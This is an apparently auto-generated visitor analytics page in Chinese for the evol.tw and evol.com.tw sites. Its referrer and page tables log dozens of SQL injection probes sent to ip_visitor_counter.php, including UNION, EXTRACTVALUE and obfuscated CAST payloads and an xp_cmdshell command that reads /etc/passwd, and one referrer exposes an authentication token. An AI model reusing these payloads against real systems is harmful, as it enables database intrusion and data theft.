深度訪問分析系統

即時監控流量來源與頁面熱度,掌握每日增長趨勢

來源網址每日不重複人數 (UV)
來源項目 01/31 02/01 02/02 02/03 02/04 02/05 02/06 合計
(直接輸入/無來源) 38 21 27 26 37 61 51 261
https://www.google.com/ 0 0 0 0 1 9 7 17
https://evol.tw/ 1 0 0 0 4 2 0 7
https://l.threads.com/ 2 1 0 1 2 0 0 6
https://evol.tw/hero/interaction.html 0 1 0 1 0 0 3 5
https://www.facebook.com/ 0 0 0 0 1 3 0 4
http://evol.com.tw/ip_visitor_counter.php?api=999999.9+union+all+select+1 0 0 0 0 0 2 1 3
http://evol.com.tw/ip_visitor_counter.php?api=test%27 1 0 0 0 0 1 1 3
http://evol.tw/ip_visitor_counter.php?api=1 0 0 0 1 0 1 1 3
https://evol.tw/?fbclid=PARlRTSAPuPB9leHRuA2FlbQIxMABzcnRjBmFwcF9pZA8xMjQwMjQ1NzQyODc0MTQAAaeVTlfhVFatq1jcsKS2k3zhdmbVevxpaPDkiRM_LWqoqkeBZVZEYctWulyc6g_aem_DtuS_akQocE25fVUtVu26Q 0 0 0 1 1 1 0 3
https://evol.tw/auth/callbackgo.php?token=4090d1b968f374763b0cd4d4117ec3d657a2aded5e790d42a75510e09d06698d623ea72e534b01b95dcce8e917ea145fac3c2dd787b33262aee09e45650a67d2&expires_at=2026-03-08+07%3A39%3A33 0 0 0 0 0 0 3 3
http://evol.com.tw/ip_visitor_counter.php?api=%2A 1 0 0 0 0 0 1 2
http://evol.com.tw/ip_visitor_counter.php?api=+and++AND+GTID_SUBSET%28CAST%28VERSION%28%29+AS+CHAR%29%2C0x7e%29+and+1%3D1 0 0 0 0 0 1 1 2
http://evol.com.tw/ip_visitor_counter.php?api=+AND+0%3DCAST%28COALESCE%28%28SELECT+version%28%29%29%3A%3Atext%2C+CHR%2832%29%29%3A%3Atext+%7C%7C+CHR%2867%29+AS+NUMERIC%29 0 0 0 0 0 1 1 2
http://evol.com.tw/ip_visitor_counter.php?api=+or+1%3D+AND+0%3DCAST%28COALESCE%28%28SELECT+version%28%29%29%3A%3Atext%2C+CHR%2832%29%29%3A%3Atext+%7C%7C+CHR%2867%29+AS+NUMERIC%29+and+1%3D1 0 0 0 0 0 1 1 2
http://evol.com.tw/ip_visitor_counter.php?api=1 0 0 0 1 0 1 0 2
http://evol.com.tw/ip_visitor_counter.php?api=999999.9+union+all+select+unhex%28hex%28concat%280x4b5a37516d41395872%29%29%29 0 0 0 0 0 1 1 2
http://evol.com.tw/ip_visitor_counter.php?api=test 0 0 0 0 0 1 1 2
http://evol.com.tw/ip_visitor_counter.php?api=test%22 1 0 0 0 0 0 1 2
http://evol.com.tw/ip_visitor_counter.php?api=test%22+AND+EXTRACTVALUE%281203%2C%2F%2A%2150000CONCAT%2A%2F%280x7e%2C%28%2F%2A%2150000SELECT%2A%2F%28ELT%281203%3D1203%2C1%29%29%29%2C0x7e%29%29--+- 1 0 0 0 0 0 1 2
http://evol.com.tw/ip_visitor_counter.php?api=test%27%29EXTRACTVALUE%2810861%2CCONCAT%280x7e%2C%28SELECT%2F%2A%2A%2F%28ELT%2810861%3D10861%2C1%29%29%29%2C0x7e%29%29+AND+%271%27%3D%271 1 0 0 0 0 0 1 2
主機網域每日不重複人數 (UV)
主機網域 01/31 02/01 02/02 02/03 02/04 02/05 02/06 合計
https://evol.tw 25 12 10 13 15 36 31 142
http://evol.com.tw 7 5 4 5 15 28 20 84
https://evol.com.tw 11 4 12 7 8 14 7 63
http://evol.tw 15 0 0 3 3 4 1 26
https://www.evol.com.tw 1 4 3 5 2 2 2 19
https://www.evol.tw 3 1 0 1 1 3 3 12
http://www.evol.com.tw 0 0 1 1 4 1 1 8
http://www.evol.tw 0 1 0 0 1 0 0 2
熱門頁面每日不重複人數 (UV)
網域路徑 01/31 02/01 02/02 02/03 02/04 02/05 02/06 合計
https://evol.tw/hero/ 3 1 3 4 5 15 15 46
https://evol.tw/ 3 3 1 6 5 6 6 30
http://evol.tw/ip_visitor_counter.php?api=1 14 0 0 2 2 2 1 21
https://evol.tw/hero/index.html 0 1 0 1 1 10 7 20
https://evol.tw/index.php 0 0 0 0 0 5 7 12
http://evol.com.tw/ip_visitor_counter.php?api=1 3 1 0 1 2 3 0 10
http://evol.com.tw/ip_visitor_counter.php?api=test%27 3 0 0 0 3 3 1 10
http://evol.com.tw/ip_visitor_counter.php?api=test%22 2 0 0 0 3 2 1 8
http://www.evol.com.tw/ip_visitor_counter.php 0 0 1 1 4 1 1 8
http://evol.tw/ip_visitor_counter.php 1 0 0 1 1 3 1 7
https://evol.com.tw/ 0 1 1 1 2 1 1 7
https://evol.com.tw/hero/ 1 0 0 1 4 1 0 7
http://evol.com.tw/ip_visitor_counter.php?api=* 0 0 0 0 2 3 1 6
http://evol.com.tw/ip_visitor_counter.php?api=%2A 3 0 0 1 0 1 1 6
http://evol.com.tw/ip_visitor_counter.php?api=test%27+AND+1%3D1--+- 3 0 0 1 0 1 1 6
http://evol.com.tw/ip_visitor_counter.php?api=test%27+OR+1%3D1--+- 3 0 1 0 0 1 1 6
http://evol.com.tw/ip_visitor_counter.php?api=test%29EXTRACTVALUE%282065%2CCONCAT%280x7e%2C%28SELECT%2F%2A%2A%2F%28ELT%282065%3D2065%2C1%29%29%29%2C0x7e%29%29--+- 3 0 1 0 0 1 1 6
http://evol.com.tw/ip_visitor_counter.php?api=testEXTRACTVALUE%289924%2C%2F%2A%2150000CONCAT%2A%2F%280x7e%2C%28%2F%2A%2150000SELECT%2A%2F%28ELT%289924%3D9924%2C1%29%29%29%2C0x7e%29%29--+- 2 0 0 1 0 1 2 6
https://evol.tw/disaster_details/ 0 0 0 1 2 2 1 6
http://evol.com.tw/ip_visitor_counter.php?__waf_test__=%27%20OR%20%271%27%3D%271%27%20UNION%20SELECT%20NULL,%27%3Cscript%3Ealert(1)%3C/script%3E%27,table_name%20FROM%20information_schema.tables%20WHERE%202%3E1--/**/;%20EXEC%20xp_cmdshell(%27cat%20/etc/passwd%27)%23&api=* 0 0 0 0 1 1 3 5
http://evol.com.tw/ip_visitor_counter.php?api=test)EXTRACTVALUE(2065,CONCAT(0x7e,(SELECT/**/(ELT(2065%3D2065,1))),0x7e))--%20- 0 0 0 0 0 4 1 5
http://evol.com.tw/ip_visitor_counter.php?api=test%22+AND+EXTRACTVALUE%281203%2C%2F%2A%2150000CONCAT%2A%2F%280x7e%2C%28%2F%2A%2150000SELECT%2A%2F%28ELT%281203%3D1203%2C1%29%29%29%2C0x7e%29%29--+- 3 0 0 0 0 0 2 5
http://evol.com.tw/ip_visitor_counter.php?api=test%27+AND+%2F%2A%2150000and%2A%2F%2F%2A%2A%2F6051%3D%2F%2A%2150000CaST%2A%2F%28%27~%27%7C%7C%28%2F%2A%2150000selECt%2A%2F%2F%2A%2A%2F%28%2F%2A%2150000casE%2A%2F%2F%2A%2A%2F%2F%2A%2150000whEn%2A%2F%2F%2A%2A%2F%286051%3D6051%29%2F%2A%2A%2F%2F%2A%2150000thEn%2A%2F%2F%2A%2A%2F1%2F%2A%2A%2F%2F%2A%2150000Else%2A%2F%2F%2A%2A%2F0%2F%2A%2A%2F%2F%2A%2150000End%2A%2F%29%29%3A%3ATEXT%7C%7C%27~%27%2F%2A%2A%2F%2F%2A%2150000As%2A%2F%2F%2A%2A%2FnumERic%29--+- 2 1 0 0 1 1 0 5
http://evol.com.tw/ip_visitor_counter.php?api=test%27+AND+AND%2F%2A%2A%2F4717%3DCAST%28%27~%27%7C%7C%28SELECT%2F%2A%2A%2F%28CASE%2F%2A%2A%2FWHEN%2F%2A%2A%2F%284717%3D4717%29%2F%2A%2A%2FTHEN%2F%2A%2A%2F1%2F%2A%2A%2FELSE%2F%2A%2A%2F0%2F%2A%2A%2FEND%29%29%3A%3Atext%7C%7C%27~%27%2F%2A%2A%2FAS%2F%2A%2A%2FNUMERIC%29--+- 2 1 0 0 1 1 0 5
http://evol.com.tw/ip_visitor_counter.php?api=test%27+AND+ANd%2F%2A%2A%2F6368%3DCaSt%28%2527~%2527%7C%7C%28SEleCt%2F%2A%2A%2F%28caSE%2F%2A%2A%2FwhEN%2F%2A%2A%2F%286368%3D6368%29%2F%2A%2A%2FtHEn%2F%2A%2A%2F1%2F%2A%2A%2FelSE%2F%2A%2A%2F0%2F%2A%2A%2FEnd%29%29%3A%3AText%7C%7C%2527~%2527%2F%2A%2A%2FaS%2F%2A%2A%2FnUmERiC%29--+- 2 1 0 0 0 1 1 5
http://evol.com.tw/ip_visitor_counter.php?api=test%27EXTRACTVALUE%284158%2CCONCAT%280x7e%2C%28SELECT%2F%2A%2A%2F%28ELT%284158%3D4158%2C1%29%29%29%2C0x7e%29%29--+- 2 1 0 0 0 1 1 5
http://evol.com.tw/ip_visitor_counter.php?api=test%29 3 0 0 0 0 1 1 5
http://evol.com.tw/ip_visitor_counter.php?api=test%29+AND+EXTRACTVALUE%284830%2C%2F%2A%2150000CONCAT%2A%2F%280x7e%2C%28%2F%2A%2150000SELECT%2A%2F%28ELT%284830%3D4830%2C1%29%29%29%2C0x7e%29%29--+- 2 1 0 0 0 1 1 5
http://evol.com.tw/ip_visitor_counter.php?api=testAND%2F%2A%2A%2F9762%3D%28SELECT%2F%2A%2A%2FUPPER%28XMLType%28CHR%2860%29%7C%7CCHR%2858%29%7C%7C%27~%27%7C%7C%28SELECT%2F%2A%2A%2F%28CASE%2F%2A%2A%2FWHEN%2F%2A%2A%2F%289762%3D9762%29%2F%2A%2A%2FTHEN%2F%2A%2A%2F1%2F%2A%2A%2FELSE%2F%2A%2A%2F0%2F%2A%2A%2FEND%29%2F%2A%2A%2FFROM%2F%2A%2A%2FDUAL%29%7C%7C%27~%27%7C%7CCHR%2862%29%29%29%2F%2A%2A%2FFROM%2F%2A%2A%2FDUAL%29+AND+1%3D1--+- 3 0 0 0 0 2 0 5
http://evol.com.tw/ip_visitor_counter.php?api=testEXTRACTVALUE%286802%2CCONCAT%280x7e%2C%28SELECT%2F%2A%2A%2F%28ELT%286802%3D6802%2C1%29%29%29%2C0x7e%29%29--+- 2 0 1 0 0 0 2 5
http://evol.com.tw/ip_visitor_counter.php?api=testExtRaCTvAlUE%289872%2C%2F%2A%2150000ConCAt%2A%2F%280X7E%2C%28%2F%2A%2150000sElEct%2A%2F%2F%2A%2A%2F%28elT%289872%3D9872%2C1%29%29%29%2C0X7e%29%29+AND+1%3D1--+- 2 1 0 0 0 2 0 5

所有統計數據均以 IP 為基準之每日不重複人數。最後更新:2026-02-06 22:38:39